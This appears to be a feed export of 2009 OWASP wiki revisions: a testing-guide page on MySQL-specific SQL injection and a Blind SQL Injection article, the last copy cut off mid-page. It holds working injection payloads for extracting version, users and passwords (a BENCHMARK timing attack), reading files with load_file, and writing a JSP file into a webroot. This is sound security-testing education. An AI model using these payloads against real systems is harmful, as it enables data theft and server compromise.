&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
[[SQL Injection]] vulnerabilities occur whenever input is used in the construction of a SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers. It allows for the execution of SQL code under the privileges of the user used to connect to the database.&lt;br /&gt;
&lt;br /&gt;
''MySQL server'' has a few particularities so that some exploits need to be &lt;br /&gt;
specially customized for this application. That's the subject of this section.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== How to Test ===&lt;br /&gt;
When an SQL injection vulnerability is found in an application backed by a MySQL database,&lt;br /&gt;
there are a number of attacks that could be performed depending &lt;br /&gt;
on the MySQL version and user privileges on DBMS.&lt;br /&gt;
&lt;br /&gt;
MySQL comes with at least four versions which are used in production worldwide.&lt;br /&gt;
3.23.x, 4.0.x, 4.1.x and 5.0.x.&lt;br /&gt;
Every version has a set of features proportional to version number.&lt;br /&gt;
&lt;br /&gt;
* From Version 4.0: UNION &lt;br /&gt;
* From Version 4.1: Subqueries&lt;br /&gt;
* From Version 5.0: Stored procedures, Stored functions and the view named INFORMATION_SCHEMA&lt;br /&gt;
* From Version 5.0.2: Triggers &lt;br /&gt;
&lt;br /&gt;
It should be noted that for MySQL versions before 4.0.x, only Boolean or time-based Blind Injection attacks could be used, since the subquery functionality or UNION statements were not implemented.&lt;br /&gt;
&lt;br /&gt;
From now on, we will assume that there is a classic SQL injection vulnerability, which can be triggered by a request similar to the the one described in the Section on [[Testing for SQL Injection  (OWASP-DV-005)|Testing for SQL Injection]].&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/page.php?id=2&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The Single Quotes Problem ===&lt;br /&gt;
Before taking advantage of MySQL features, &lt;br /&gt;
it has to be taken in consideration how strings could be represented&lt;br /&gt;
in a statement, as often web applications escape single quotes.&lt;br /&gt;
&lt;br /&gt;
MySQL quote escaping is the following:&amp;lt;br&amp;gt;&lt;br /&gt;
''' &amp;lt;nowiki&amp;gt;'A string with \'quotes\''&amp;lt;/nowiki&amp;gt; '''&lt;br /&gt;
&lt;br /&gt;
That is, MySQL interprets escaped apostrophes (\') as characters and not as&lt;br /&gt;
metacharacters.&lt;br /&gt;
&lt;br /&gt;
So if the application, to work properly, needs to use constant strings,&lt;br /&gt;
two cases are to be differentiated: &lt;br /&gt;
# Web app escapes single quotes (' =&amp;gt; \')&lt;br /&gt;
# Web app does not escape single quotes (' =&amp;gt; ')&lt;br /&gt;
&lt;br /&gt;
Under MySQL, there is a standard way to bypass the need of single quotes, having a constant string to be declared without the need for single quotes.&lt;br /&gt;
&lt;br /&gt;
Let's suppose we want to know the value of a field named 'password' in a record,&lt;br /&gt;
with a condition like the following:&lt;br /&gt;
password like 'A%'&lt;br /&gt;
&lt;br /&gt;
# The ASCII values in a concatenated hex:&amp;lt;br&amp;gt;&lt;br /&gt;
#: password LIKE 0x4125&lt;br /&gt;
# The char() function:&lt;br /&gt;
#: password LIKE CHAR(65,37)&lt;br /&gt;
&lt;br /&gt;
=== Multiple mixed queries: ===&lt;br /&gt;
&lt;br /&gt;
MySQL library connectors do not support multiple queries separated&lt;br /&gt;
by '''&amp;lt;nowiki&amp;gt;';'&amp;lt;/nowiki&amp;gt;''' so there's no way to inject multiple non-homogeneous SQL commands inside a single SQL injection vulnerability like in Microsoft SQL Server.&lt;br /&gt;
&lt;br /&gt;
For example the following injection will result in an error:&lt;br /&gt;
&lt;br /&gt;
 1 ; update tablename set code='javascript code' where 1 --&lt;br /&gt;
&lt;br /&gt;
=== Information gathering ===&lt;br /&gt;
&lt;br /&gt;
==== Fingerprinting MySQL ====&lt;br /&gt;
&lt;br /&gt;
Of course, the first thing to know is if there's MySQL DBMS as a backend.&lt;br /&gt;
&lt;br /&gt;
MySQL server has a feature that is used to let other DBMS ignore a clause in MySQL&lt;br /&gt;
dialect. When a comment block ''('/**/')'' contains an exlamation mark ''('/*! sql here*/')'' it is interpreted by MySQL, and is considered as a normal comment block by other DBMS&lt;br /&gt;
as explained in [http://dev.mysql.com/doc/refman/5.0/en/comments.html MySQL manual].&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
 1 /*! and 1=0 */&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''If MySQL is present, the clause inside the comment block will be interpreted.''&lt;br /&gt;
&lt;br /&gt;
==== Version ====&lt;br /&gt;
&lt;br /&gt;
There are three ways to gain this information:&lt;br /&gt;
# By using the global variable @@version&lt;br /&gt;
# By using the function [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html VERSION()]]&lt;br /&gt;
# By using comment fingerprinting with a version number /*!40110 and 1=0*/&lt;br /&gt;
#: which means &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;if(version &amp;gt;= 4.1.10) &lt;br /&gt;
   add 'and 1=0' to the query.&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
These are equivalent as the result is the same.&lt;br /&gt;
&lt;br /&gt;
In band injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND 1=0 UNION SELECT @@version /*&lt;br /&gt;
&lt;br /&gt;
Inferential injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND @@version like '4.0%'&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''A string like this: '''5.0.22-log''' ''&lt;br /&gt;
&lt;br /&gt;
==== Login User ====&lt;br /&gt;
&lt;br /&gt;
There are two kinds of users MySQL Server relies upon.&lt;br /&gt;
# [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html USER()]]: the user connected to the MySQL Server.&lt;br /&gt;
# [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html CURRENT_USER()]]: the internal user who is executing the query.&lt;br /&gt;
&lt;br /&gt;
There is some difference between 1 and 2.&lt;br /&gt;
&lt;br /&gt;
The main one is that an anonymous user could connect (if allowed)&lt;br /&gt;
with any name, but the MySQL internal user is an empty name (&amp;lt;nowiki&amp;gt;''&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Another difference is that a stored procedure or a stored function&lt;br /&gt;
are executed as the creator user, if not declared elsewhere. This &lt;br /&gt;
can be known by using '''CURRENT_USER'''.&lt;br /&gt;
&lt;br /&gt;
In band injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND 1=0 UNION SELECT USER() &lt;br /&gt;
&lt;br /&gt;
Inferential injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND USER() like 'root%'&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''A string like this: '''user@hostname''' ''&lt;br /&gt;
&lt;br /&gt;
==== Database name in use ====&lt;br /&gt;
&lt;br /&gt;
There is the native function DATABASE()&lt;br /&gt;
&lt;br /&gt;
In band injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND 1=0 UNION SELECT DATABASE() &lt;br /&gt;
&lt;br /&gt;
Inferential injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND DATABASE() like 'db%'&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''A string like this: '''dbname''' ''&lt;br /&gt;
&lt;br /&gt;
==== INFORMATION_SCHEMA ====&lt;br /&gt;
From MySQL 5.0 a view named [[http://dev.mysql.com/doc/refman/5.0/en/information-schema.html INFORMATION_SCHEMA]] was created.&lt;br /&gt;
It allows us to get all informations about databases, tables, and columns,&lt;br /&gt;
as well as procedures and functions.&lt;br /&gt;
&lt;br /&gt;
Here is a summary of some interesting Views.&lt;br /&gt;
{| border=1&lt;br /&gt;
 || '''Tables_in_INFORMATION_SCHEMA''' || '''DESCRIPTION'''&lt;br /&gt;
|-&lt;br /&gt;
|| ..[skipped]..|| ..[skipped].. &lt;br /&gt;
|-&lt;br /&gt;
|| SCHEMATA || All databases the user has (at least) SELECT_priv &lt;br /&gt;
|-&lt;br /&gt;
|| SCHEMA_PRIVILEGES || The privileges the user has for each DB&lt;br /&gt;
|-&lt;br /&gt;
|| TABLES || All tables  the user has (at least) SELECT_priv&lt;br /&gt;
|-&lt;br /&gt;
|| TABLE_PRIVILEGES || The privileges the user has for each table&lt;br /&gt;
|-&lt;br /&gt;
|| COLUMNS || All columns  the user has (at least) SELECT_priv&lt;br /&gt;
|-&lt;br /&gt;
|| COLUMN_PRIVILEGES || The privileges the user has for each column&lt;br /&gt;
|-&lt;br /&gt;
|| VIEWS || All columns  the user has (at least) SELECT_priv&lt;br /&gt;
|-&lt;br /&gt;
|| ROUTINES || Procedures and functions (needs EXECUTE_priv)&lt;br /&gt;
|-&lt;br /&gt;
|| TRIGGERS || Triggers (needs INSERT_priv)&lt;br /&gt;
|-&lt;br /&gt;
|| USER_PRIVILEGES || Privileges connected User has&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
All of this information could be extracted by using known techniques as &lt;br /&gt;
described in SQL Injection section.&lt;br /&gt;
&lt;br /&gt;
=== Attack vectors ===&lt;br /&gt;
&lt;br /&gt;
==== Write in a File ====&lt;br /&gt;
&lt;br /&gt;
If the connected user has '''FILE''' privileges and single quotes are not escaped,&lt;br /&gt;
the 'into outfile' clause can be used to export query results in a file.&lt;br /&gt;
&lt;br /&gt;
 Select * from table into outfile '/tmp/file'&lt;br /&gt;
&lt;br /&gt;
Note: there is no way to bypass single quotes surrounding a filename. &lt;br /&gt;
So if there's some sanitization on single quotes like escape (\') there will&lt;br /&gt;
be no way to use the 'into outfile' clause.&lt;br /&gt;
&lt;br /&gt;
This kind of attack could be used as an out-of-band technique to gain information&lt;br /&gt;
about the results of a query or to write a file which could be executed inside the &lt;br /&gt;
web server directory.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;1 limit 1 into outfile '/var/www/root/test.jsp' FIELDS ENCLOSED BY '//'  LINES TERMINATED BY '\n&amp;lt;%jsp code here%&amp;gt;';&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
'' Results are stored in a file with rw-rw-rw privileges owned by &lt;br /&gt;
MySQL user and group.&lt;br /&gt;
&lt;br /&gt;
Where ''/var/www/root/test.jsp'' will contain:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;//field values//&lt;br /&gt;
&amp;lt;%jsp code here%&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Read from a File ====&lt;br /&gt;
&lt;br /&gt;
Load_file is a native function that can read a file when allowed by &lt;br /&gt;
filesystem permissions. &lt;br /&gt;
&lt;br /&gt;
If a connected user has '''FILE''' privileges, it could be used to get the files' content.&lt;br /&gt;
&lt;br /&gt;
Single quotes escape sanitization can by bypassed by using previously described&lt;br /&gt;
techniques.&lt;br /&gt;
&lt;br /&gt;
 load_file('filename')&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''The whole file will be available for exporting by using standard techniques.''&lt;br /&gt;
&lt;br /&gt;
=== Standard SQL Injection Attack ===&lt;br /&gt;
&lt;br /&gt;
In a standard SQL injection you can have results displayed directly &lt;br /&gt;
in a page as normal output or as a MySQL error.&lt;br /&gt;
By using already mentioned SQL Injection attacks and the already described&lt;br /&gt;
MySQL features, direct SQL injection could be easily accomplished at a level&lt;br /&gt;
depth depending primarily on the MySQL version the pentester is facing.&lt;br /&gt;
&lt;br /&gt;
A good attack is to know the results by forcing a function/procedure&lt;br /&gt;
or the server itself to throw an error.&lt;br /&gt;
A list of errors thrown by MySQL and in particular native functions could&lt;br /&gt;
be found on [http://dev.mysql.com/doc/refman/5.0/en/error-messages-server.html MySQL Manual].&lt;br /&gt;
&lt;br /&gt;
=== Out of band SQL Injection ===&lt;br /&gt;
&lt;br /&gt;
Out of band injection could be accomplished by using the [[#Write_in_a_File|'into outfile']] clause.&lt;br /&gt;
=== Blind SQL Injection ===&lt;br /&gt;
For blind SQL injection, there is a set of useful function natively provided by MySQL server.&lt;br /&gt;
&lt;br /&gt;
* String Length: &lt;br /&gt;
*: ''LENGTH(str)''&lt;br /&gt;
* Extract a substring from a given string: &lt;br /&gt;
*: ''SUBSTRING(string, offset, #chars_returned)''&lt;br /&gt;
* Time based Blind Injection: BENCHMARK and SLEEP &lt;br /&gt;
*: ''BENCHMARK(#ofcicles,action_to_be_performed )''&lt;br /&gt;
*: The benchmark function could be used to perform timing attacks, when blind injection by boolean values does not yield any results.&lt;br /&gt;
*: See. SLEEP() (MySQL &amp;gt; 5.0.x) for an alternative on benchmark.&lt;br /&gt;
&lt;br /&gt;
For a complete list, refer to MySQL manual - http://dev.mysql.com/doc/refman/5.0/en/functions.html&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Chris Anley: &amp;quot;Hackproofing MySQL&amp;quot; -http://www.nextgenss.com/papers/HackproofingMySQL.pdf&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - http://www.sqlpowerinjector.com/index.htm&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--:  MySQL Blind Injection Bruteforcing, Reversing.org - http://www.reversing.org/node/view/11 sqlbftools&amp;lt;br&amp;gt;&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.sourceforge.net&lt;br /&gt;
* Antonio Parata: Dump Files by SQL inference on MySQL - http://www.ictsc.it/site/IT/projects/sqlDumper/sqldumper.src.tar.gz&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME|link not working&lt;br /&gt;
&lt;br /&gt;
'''Case Studies'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Time Based SQL Injection Explained - http://www.f-g.it/papers/blind-zk.txt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
]]&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Blind_SQL_Injection&amp;diff=68765</id>
		<title>Blind SQL Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Blind_SQL_Injection&amp;diff=68765"/>
				<updated>2009-09-13T12:30:13Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
[[Category:Security Focus Area]]&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
When an attacker executes SQL Injection attacks, sometimes the server responds with error messages from the database server complaining that the SQL Query's syntax is incorrect. Blind SQL injection is identical to normal [[SQL Injection]] except that when an attacker attempts to exploit an application, rather then getting a useful error message, they get a generic page specified by the developer instead. This makes exploiting a potential SQL Injection attack more difficult but not impossible. An attacker can still steal data by asking a series of True and False questions through SQL statements.&lt;br /&gt;
&lt;br /&gt;
==Threat Modeling==&lt;br /&gt;
Same as for [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Related Security Activities==&lt;br /&gt;
&lt;br /&gt;
===How to Avoid SQL Injection Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities.&lt;br /&gt;
&amp;lt;br&amp;gt;See the OWASP [[SQL Injection Prevention Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
===How to Avoid SQL Injection Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
===How to Test for SQL Injection Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for SQL Injection    (OWASP-DV-005)|Test for SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
Same as for [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Examples ==&lt;br /&gt;
An attacker may verify whether a sent request returned True or False in a few ways:&lt;br /&gt;
&lt;br /&gt;
===(in)visible content===&lt;br /&gt;
Having a simple page, which displays article with given ID as the parameter, the attacker may perform a couple of simple tests if a page is vulnerable to SQL Injection attack.&lt;br /&gt;
&lt;br /&gt;
Example URL:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://newspaper.com/items.php?id=2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
sends the following query to the database:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT title, description, body FROM items WHERE ID = 2&lt;br /&gt;
&amp;lt;/prE&amp;gt;&lt;br /&gt;
The attacker may try to inject any (even invalid) query, what should cause the query to return no results:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://newspaper.com/items.php?id=2 and 1=2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now the SQL query should looks like this:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT title, description, body FROM items WHERE ID = 2 and 1=2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Which means that the query is not going to return anything.&lt;br /&gt;
&lt;br /&gt;
If the web application is vulnerable to SQL Injection, then it probably will not return anything. To make sure, the attacker will certainly inject a valid query:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://newspaper.com/items.php?id=2 and 1=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
If the content of the page is the same, then the attacker is able to distinguish when the query is True or False.&lt;br /&gt;
&lt;br /&gt;
What next? The only limitations are privileges set up by the database administrator, different SQL dialects and finally the attacker's imagination.&lt;br /&gt;
&lt;br /&gt;
===RDBMS fingerprinting===&lt;br /&gt;
&lt;br /&gt;
If the attacker is able to determine when his query returns True or False, then he may fingerprint the RDBMS. This will make the whole attack much easier to him. One of the most popular methods to do this is to call functions which will return the current date. MySQL, MS SQL or Oracle have different functions for that, respectively ''now()'', ''getdate()'', and ''sysdate()''.&lt;br /&gt;
&lt;br /&gt;
===Timing Attack===&lt;br /&gt;
&lt;br /&gt;
A Timing Attack depends upon injecting the following MySQL query:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT IF(expression, true, false)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Using some time-taking operation e.g. BENCHMARK(), will delay server&lt;br /&gt;
responses if the expression is True.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;BENCHMARK(5000000,ENCODE('MSG','by 5 seconds'))&amp;lt;/pre&amp;gt; - will execute 5000000 times the ENCODE function.&lt;br /&gt;
&lt;br /&gt;
Depending on the database server performence and its load, it should&lt;br /&gt;
take just a moment to finish this operation. The important thing is,&lt;br /&gt;
from the attacker's point of view, to specify high number of BENCHMARK()&lt;br /&gt;
function repetitons, which should affect the server&lt;br /&gt;
response time in a noticeable way.&lt;br /&gt;
&lt;br /&gt;
Example combination of both queries:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM users WHERE user_id = 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
If the server response was quite long we may expect that the first user password character with user_id = 1 is character '2'.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
(CHAR(50) == '2')&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Using this method for the rest of characters, it's possible to get to know entire password stored in the database. This method works even when the attacker injects the SQL queries and the content of the vulnerable page doesn't change.&lt;br /&gt;
&lt;br /&gt;
Obviously, in this example the names of the tables and the number of columns was specified. However, it's possible to guess them or check with a trial and error method.&lt;br /&gt;
&lt;br /&gt;
Other databases than MySQL also have implemented functions which allow them to use timing attacks:&lt;br /&gt;
* MS SQL 'WAIT FOR DELAY '0:0:10''&lt;br /&gt;
* PostgreSQL - pg_sleep()&lt;br /&gt;
&lt;br /&gt;
Conducting Blind_SQL_Injection attacks manually is very time consuming, but there are a lot of tools which automate this process. One of them is SQLMap (http://sqlmap.sourceforge.net/) partly developed within OWASP grant program. On the other hand, tools of this kind are very sensitive to even small deviations from the rule. This includes:&lt;br /&gt;
* scanning othe WWW cluster, where clocks are not ideally synchronized,&lt;br /&gt;
* WWW services where argument acquiring method was changed, e.g.  from /index.php?ID=10 to /ID,10&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
Same as for [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
* [[Blind_XPath_Injection]]&lt;br /&gt;
* [[SQL_Injection]]&lt;br /&gt;
* [[XPATH_Injection]]&lt;br /&gt;
* [[LDAP_injection]]&lt;br /&gt;
* [[Server-Side_Includes_%28SSI%29_Injection]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
* [[Injection_problem]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* http://www.cgisecurity.com/questions/blindsql.shtml&lt;br /&gt;
* http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html&lt;br /&gt;
* http://www.securitydocs.com/library/2651&lt;br /&gt;
* http://seclists.org/bugtraq/2005/Feb/0288.html&lt;br /&gt;
* http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/&lt;br /&gt;
&lt;br /&gt;
'''Online Resources'''&lt;br /&gt;
* [http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf more Advanced SQL Injection] - by NGS&lt;br /&gt;
* [http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf Blind SQL Injection Automation Techniques] - Black Hat Pdf&lt;br /&gt;
* [http://seclists.org/lists/bugtraq/2005/Feb/0288.html Blind Sql-Injection in MySQL Databases]&lt;br /&gt;
* [http://www.cgisecurity.com/questions/blindsql.shtml Cgisecurity.com: What is Blind SQL Injection?]&lt;br /&gt;
* [http://www.securitydocs.com/library/2651 Blind SQL Injection]&lt;br /&gt;
* http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf&lt;br /&gt;
* http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html&lt;br /&gt;
* [http://wcsc.myweb.usf.edu/tutorials/SQL_Injection.ppt SQL Injection Attacks]&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME|check link:&lt;br /&gt;
&lt;br /&gt;
* http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf&lt;br /&gt;
&lt;br /&gt;
]]&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&lt;br /&gt;
* [http://www.sqlpowerinjector.com/ SQL Power Injector]&lt;br /&gt;
* [http://www.0x90.org/releases/absinthe/ Absinthe :: Automated Blind SQL Injection] // ver1.3.1&lt;br /&gt;
* [http://www.securiteam.com/tools/5IP0L20I0E.html SQLBrute - Multi Threaded Blind SQL Injection Bruteforcer] in Python&lt;br /&gt;
* [[:Category:OWASP_SQLiX_Project|SQLiX - SQL Injection Scanner]] in Perl&lt;br /&gt;
* [http://sqlmap.sourceforge.net sqlmap, automatic SQL injection tool] in Python&lt;br /&gt;
* [http://www.514.es/2006/12/inyeccion_de_codigo_bsqlbf12th.html bsqlbf, a blind SQL injection tool] in Perl&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category: Attack]]&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Blind_SQL_Injection&amp;diff=68764</id>
		<title>Blind SQL Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Blind_SQL_Injection&amp;diff=68764"/>
				<updated>2009-09-13T12:29:41Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
[[Category:Security Focus Area]]&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
When an attacker executes SQL Injection attacks, sometimes the server responds with error messages from the database server complaining that the SQL Query's syntax is incorrect. Blind SQL injection is identical to normal [[SQL Injection]] except that when an attacker attempts to exploit an application, rather then getting a useful error message, they get a generic page specified by the developer instead. This makes exploiting a potential SQL Injection attack more difficult but not impossible. An attacker can still steal data by asking a series of True and False questions through SQL statements.&lt;br /&gt;
&lt;br /&gt;
==Threat Modeling==&lt;br /&gt;
Same as for [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Related Security Activities==&lt;br /&gt;
&lt;br /&gt;
===How to Avoid SQL Injection Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities.&lt;br /&gt;
&amp;lt;br&amp;gt;See the OWASP [[SQL Injection Prevention Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
===How to Avoid SQL Injection Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
===How to Test for SQL Injection Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for SQL Injection    (OWASP-DV-005)|Test for SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
Same as for [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Examples ==&lt;br /&gt;
An attacker may verify whether a sent request returned True or False in a few ways:&lt;br /&gt;
&lt;br /&gt;
===(in)visible content===&lt;br /&gt;
Having a simple page, which displays article with given ID as the parameter, the attacker may perform a couple of simple tests if a page is vulnerable to SQL Injection attack.&lt;br /&gt;
&lt;br /&gt;
Example URL:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://newspaper.com/items.php?id=2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
sends the following query to the database:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT title, description, body FROM items WHERE ID = 2&lt;br /&gt;
&amp;lt;/prE&amp;gt;&lt;br /&gt;
The attacker may try to inject any (even invalid) query, what should cause the query to return no results:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://newspaper.com/items.php?id=2 and 1=2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now the SQL query should looks like this:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT title, description, body FROM items WHERE ID = 2 and 1=2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Which means that the query is not going to return anything.&lt;br /&gt;
&lt;br /&gt;
If the web application is vulnerable to SQL Injection, then it probably will not return anything. To make sure, the attacker will certainly inject a valid query:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://newspaper.com/items.php?id=2 and 1=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
If the content of the page is the same, then the attacker is able to distinguish when the query is True or False.&lt;br /&gt;
&lt;br /&gt;
What next? The only limitations are privileges set up by the database administrator, different SQL dialects and finally the attacker's imagination.&lt;br /&gt;
&lt;br /&gt;
===RDBMS fingerprinting===&lt;br /&gt;
&lt;br /&gt;
If the attacker is able to determine when his query returns True or False, then he may fingerprint the RDBMS. This will make the whole attack much easier to him. One of the most popular methods to do this is to call functions which will return the current date. MySQL, MS SQL or Oracle have different functions for that, respectively ''now()'', ''getdate()'', and ''sysdate()''.&lt;br /&gt;
&lt;br /&gt;
